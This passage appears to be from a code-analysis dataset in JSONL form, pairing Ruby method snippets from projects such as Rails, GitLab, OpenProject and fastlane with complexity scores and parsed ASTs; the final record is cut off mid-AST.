{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb","start_line":542,"raw_source":"def _limit\n            # INTEGER storage class can be stored 8 bytes value.\n            # See https://www.sqlite.org/datatype3.html#storage_classes_and_datatypes\n            limit || 8\n          end","complexity_score":2.38,"ast_json":"{\"type\":\"def\",\"children\":[\"_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]}","id":"ba7f6cbe-d76d-4a0a-a46b-273a14d1a1ce"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/comment_test.rb","start_line":66,"raw_source":"def test_blank_columns_created_in_block\n      %w[ space_comment empty_comment nil_comment absent_comment ].each do |field|\n        column = BlankComment.columns_hash[field]\n        assert_equal :string, column.type\n        assert_nil column.comment\n      end\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_blank_columns_created_in_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"space_comment\"]},{\"type\":\"str\",\"children\":[\"empty_comment\"]},{\"type\":\"str\",\"children\":[\"nil_comment\"]},{\"type\":\"str\",\"children\":[\"absent_comment\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BlankComment\"]},\"columns_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"comment\"]}]}]}]}]}","id":"31ceec06-5143-46f0-b109-e26046212306"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/monitor.rb","start_line":89,"raw_source":"def delimit(number)\n      number.to_s.reverse.scan(/.{1,3}/).join(\",\").reverse\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delimit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_s\"]},\"reverse\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".{1,3}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]},\"reverse\"]}]}","id":"68e5fb36-900b-44aa-b3d1-825c58163e2c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/common.rb","start_line":137,"raw_source":"def formatted_text_box_measured(formatted_text_array, options)\n    features_box = ::Prawn::Text::Formatted::Box.new(formatted_text_array, options.merge({ document: pdf }))\n    features_box.render\n    features_box.height\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_text_box_measured\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"formatted_text_array\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"features_box\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Prawn\"]},\"Text\"]},\"Formatted\"]},\"Box\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"formatted_text_array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"document\"]},{\"type\":\"send\",\"children\":[null,\"pdf\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"features_box\"]},\"render\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"features_box\"]},\"height\"]}]}]}","id":"67134ed4-a166-40f5-b8ca-8e93e073c491"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/class_filter.rb","start_line":65,"raw_source":"def class_included?(class_names, klass)\n      class_names.include?(@normalized_class_names[klass])\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"class_included?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_names\"]},{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_names\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@normalized_class_names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}","id":"5731f09c-2590-4a15-967c-b3e8e55fb757"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/watchdog/monitor/unique_memory_growth.rb","start_line":14,"raw_source":"def call\n            worker_uss = Gitlab::Metrics::System.memory_usage_uss_pss[:uss]\n            reference_uss = reference_mem[:uss]\n            memory_limit = max_mem_growth * reference_uss\n\n            return { threshold_violated: false, payload: {} } if worker_uss <= memory_limit\n\n            { threshold_violated: true, payload: payload(worker_uss, reference_uss, memory_limit) }\n          end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"worker_uss\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"memory_usage_uss_pss\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uss\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reference_uss\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_mem\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uss\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"memory_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_mem_growth\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"reference_uss\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_uss\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"memory_limit\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threshold_violated\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"threshold_violated\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"payload\",{\"type\":\"lvar\",\"children\":[\"worker_uss\"]},{\"type\":\"lvar\",\"children\":[\"reference_uss\"]},{\"type\":\"lvar\",\"children\":[\"memory_limit\"]}]}]}]}]}]}","id":"b687d739-c459-4c7d-bbf4-27e1afef4998"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/reports/reports_service.rb","start_line":34,"raw_source":"def self.add_report(report)\n    self.report_types ||= {}\n    self.report_types[report.report_type] = report\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"report_types\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"report_types\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"report_type\"]},{\"type\":\"lvar\",\"children\":[\"report\"]}]}]}]}","id":"e17d2deb-f99a-4938-bfc9-331537fc7435"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/helpers.rb","start_line":57,"raw_source":"def mark_pipeline_as_failed(failure_reason)\n            # For readonly pipelines, we only set status without tracking failures\n            # For non-persistable failures or when save_incompleted is false,\n            # we increment counters and set failed status\n            command.increment_pipeline_failure_reason_counter(failure_reason) unless pipeline.readonly?\n\n            pipeline.set_failed(failure_reason)\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_pipeline_as_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failure_reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"readonly?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\"]},\"increment_pipeline_failure_reason_counter\",{\"type\":\"lvar\",\"children\":[\"failure_reason\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"set_failed\",{\"type\":\"lvar\",\"children\":[\"failure_reason\"]}]}]}]}","id":"9f7cb6a6-76bb-4406-a09f-ec0887ed4720"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build/cache.rb","start_line":89,"raw_source":"def files_commits_files\n              @key[:files_commits].to_a.select(&:present?).uniq\n            end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"files_commits_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"files_commits\"]}]},\"to_a\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\"uniq\"]}]}","id":"a5a65dcc-b4ac-4d2f-b893-1b5c04c22fcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250618211433_remove_organization_user_aliases_table.rb","start_line":6,"raw_source":"def change\n    drop_table :organization_user_aliases do |t|\n      t.belongs_to :organization, null: false, index: false\n      t.belongs_to :user, null: false\n\n      # rubocop:disable Migration/PreventStrings -- strings already present in table\n      t.string :username, null: false\n      t.string :display_name\n      # rubocop:enable Migration/PreventStrings\n\n      t.timestamps_with_timezone null: false\n\n      t.index %i[organization_id user_id], unique: true, name: 'unique_organization_user_alias_organization_id_user_id'\n      t.index %i[organization_id username], unique: true,\n        name: 'unique_organization_user_alias_organization_id_username'\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"organization_user_aliases\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"display_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_organization_user_alias_organization_id_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_organization_user_alias_organization_id_username\"]}]}]}]}]}]}]}","id":"08bb086c-0438-4558-b389-bf2f31c514db"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/config.rb","start_line":48,"raw_source":"def default_scopes(*scopes)\n        @config.instance_variable_set(:@default_scopes, OAuth::Scopes.from_array(scopes))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_scopes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"scopes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@default_scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OAuth\"]},\"Scopes\"]},\"from_array\",{\"type\":\"lvar\",\"children\":[\"scopes\"]}]}]}]}","id":"fc5253ce-f8c0-49b6-99df-baa37b9e5cb9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/geometric_test.rb","start_line":301,"raw_source":"def setup\n    super\n    @connection = ActiveRecord::Base.lease_connection\n    @table_name = :testings\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@table_name\",{\"type\":\"sym\",\"children\":[\"testings\"]}]}]}]}","id":"d218e50e-c337-43af-8847-2d72a7a03d2b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/active_sessions_helper.rb","start_line":8,"raw_source":"def active_session_device_type_icon(active_session)\n    icon_name =\n      case active_session.device_type\n      when 'smartphone', 'feature phone', 'phablet'\n        'mobile'\n      when 'tablet'\n        'tablet'\n      when 'tv', 'smart display', 'camera', 'portable media player', 'console'\n        'media'\n      when 'car browser'\n        'car'\n      else\n        'monitor-o'\n      end\n\n    sprite_icon(icon_name, css_class: 'gl-mt-2')\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"active_session_device_type_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"active_session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"icon_name\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_session\"]},\"device_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"smartphone\"]},{\"type\":\"str\",\"children\":[\"feature phone\"]},{\"type\":\"str\",\"children\":[\"phablet\"]},{\"type\":\"str\",\"children\":[\"mobile\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"tablet\"]},{\"type\":\"str\",\"children\":[\"tablet\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"tv\"]},{\"type\":\"str\",\"children\":[\"smart display\"]},{\"type\":\"str\",\"children\":[\"camera\"]},{\"type\":\"str\",\"children\":[\"portable media player\"]},{\"type\":\"str\",\"children\":[\"console\"]},{\"type\":\"str\",\"children\":[\"media\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"car browser\"]},{\"type\":\"str\",\"children\":[\"car\"]}]},{\"type\":\"str\",\"children\":[\"monitor-o\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"lvar\",\"children\":[\"icon_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"str\",\"children\":[\"gl-mt-2\"]}]}]}]}]}]}","id":"96ee8c9c-1a4f-49c5-844c-c823f148131c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_team.rb","start_line":270,"raw_source":"def contributor?(user_id)\n    return false if max_member_access(user_id) >= Gitlab::Access::GUEST\n\n    contribution_check_for_user_ids([user_id])[user_id]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"contributor?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_member_access\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},\">=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"GUEST\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contribution_check_for_user_ids\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}","id":"33bec863-3a9e-4f12-9c2f-8dfb55a67721"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor/start.rb","start_line":8,"raw_source":"def wait_for_started_workers\n    last_which                    = nil\n    entered_wait_for_started_loop = Time.now.utc\n    wait_for_started_timeout      = @worker_monitor_settings[:wait_for_started_timeout] || 10.minutes\n    loop do\n      starting = sync_starting_workers\n      if starting.empty?\n        _log.info(\"All workers have been started\")\n        break\n      end\n\n      if wait_for_started_timeout.seconds.ago.utc > entered_wait_for_started_loop\n        _log.warn(\"After waiting #{wait_for_started_timeout} seconds, no longer waiting for the following workers to start:\")\n        starting.each { |w| $log.warn(\"Worker type: #{w.class.name}, pid: #{w.pid}, guid: #{w.guid}, status: #{w.status}\") }\n        break\n      end\n\n      which = \"\"\n      starting = starting.collect { |w| w.class.name }.sort\n      until starting.empty?\n        c, n = starting.first, 0\n        c, n = starting.shift, n + 1 while c == starting.first\n        which << \"#{c} (#{n}), \"\n      end\n      which.chomp!(\", \")\n\n      if which != last_which\n        _log.info(\"Waiting for the following workers to start: #{which}\")\n        last_which = which\n      end\n\n      sleep wait_for_started_poll\n    end\n  end","complexity_score":83.95,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_started_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_which\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"entered_wait_for_started_loop\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"wait_for_started_timeout\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker_monitor_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"wait_for_started_timeout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"minutes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"starting\",{\"type\":\"send\",\"children\":[null,\"sync_starting_workers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"All workers have been started\"]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_for_started_timeout\"]},\"seconds\"]},\"ago\"]},\"utc\"]},\">\",{\"type\":\"lvar\",\"children\":[\"entered_wait_for_started_loop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"After waiting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_for_started_timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds, no longer waiting for the following workers to start:\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Worker type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", pid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\", guid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"guid\"]}]},{\"type\":\"str\",\"children\":[\", status: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"status\"]}]}]}]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"which\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"starting\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"class\"]},\"name\"]}]},\"sort\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\"]},{\"type\":\"lvasgn\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"first\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"first\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\"]},{\"type\":\"lvasgn\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"shift\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"which\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]}]},{\"type\":\"str\",\"children\":[\"), \"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"which\"]},\"chomp!\",{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"which\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"last_which\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for the following workers to start: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"which\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_which\",{\"type\":\"lvar\",\"children\":[\"which\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[null,\"wait_for_started_poll\"]}]}]}]}]}]}","id":"b2aaee0b-ba4c-48c5-95c2-710c64eeb79f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/build_watcher.rb","start_line":140,"raw_source":"def alternate_version(version)\n        return nil if version.nil?\n\n        version_info = Gem::Version.new(version)\n        if version_info.segments.size == 3 && version_info.segments[2] == 0\n          return version_info.segments[0..1].join(\".\")\n        elsif version_info.segments.size == 2\n          return \"#{version}.0\"\n        end\n\n        return nil\n      end","complexity_score":23.73,"ast_json":"{\"type\":\"def\",\"children\":[\"alternate_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"version_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_info\"]},\"segments\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_info\"]},\"segments\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"==\",